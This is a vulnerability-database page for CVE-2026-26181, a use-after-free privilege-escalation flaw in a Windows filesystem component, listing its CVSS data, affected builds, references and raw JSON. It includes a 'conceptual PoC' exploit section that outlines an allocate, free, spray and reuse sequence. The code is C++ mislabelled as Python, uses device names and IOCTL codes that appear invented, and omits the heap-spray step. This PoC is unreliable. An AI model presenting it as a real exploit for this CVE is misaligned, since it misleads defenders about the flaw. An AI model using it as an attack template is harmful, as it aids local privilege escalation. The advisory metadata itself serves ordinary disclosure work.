CVE-2026-26181

Description

Use after free in Microsoft Brokering File System allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:* - VULNERABLE

Microsoft Windows (具体受影响版本请参考微软官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <iostream>

// Conceptual PoC for CVE-2026-26181 (Use After Free)
// This code demonstrates the logic flow to trigger the vulnerability.

void TriggerExploit() {
    HANDLE hDevice = CreateFile(L"\\\\.\\BrokeringFileSystemDevice", 
                               GENERIC_READ | GENERIC_WRITE, 
                               0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to access the target device." << std::endl;
        return;
    }

    DWORD bytesReturned;
    PVOID vulnerablePtr = NULL;

    // 1. Allocate vulnerable object
    DeviceIoControl(hDevice, 0x222003, NULL, 0, &vulnerablePtr, sizeof(vulnerablePtr), &bytesReturned, NULL);

    // 2. Free the object to create Use-After-Free condition
    DeviceIoControl(hDevice, 0x222004, &vulnerablePtr, sizeof(vulnerablePtr), NULL, 0, &bytesReturned, NULL);

    // 3. Spray the heap to occupy the freed memory with malicious payload
    // (Implementation omitted for brevity)

    // 4. Trigger UAF by using the freed pointer
    DeviceIoControl(hDevice, 0x222005, &vulnerablePtr, sizeof(vulnerablePtr), NULL, 0, &bytesReturned, NULL);

    std::cout << "Exploit trigger attempted." << std::endl;
    CloseHandle(hDevice);
}

int main() {
    TriggerExploit();
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-26181
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-26181
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-26181/
[4] VulDB https://vuldb.com/cve/CVE-2026-26181
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-26181", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:54.590", "lastModified": "2026-04-23T18:19:28.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Brokering File System allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "B33CE091-B873-4C30-BA05-54A8C1839212"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "E3AF28F3-D486-4B88-9E0E-371241024174"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "94EB36C7-1FF2-4B44-AD91-F3540F09393E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "14B23C3F-C8AC-491A-BCA5-EB6982C8F9E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "361B5DAB-8D1F-45D7-A33C-F49EBA56B5F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "ADC6CE99-AB5D-4DD5-82A9-892366C4B2FD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "690E74A8-E72C-47B6-96EB-37C48D69A635"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "13A01FA1-08DC-4E33-9FFC-AB4BCD9634CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2274", "matchCriteriaId": "55A1F3AB-5299-4495-9A73-FDA23C6FD88D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32690", "matchCriteriaId": "ADF41A14-B9DA-4788-82A8-74DCDCD090E1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}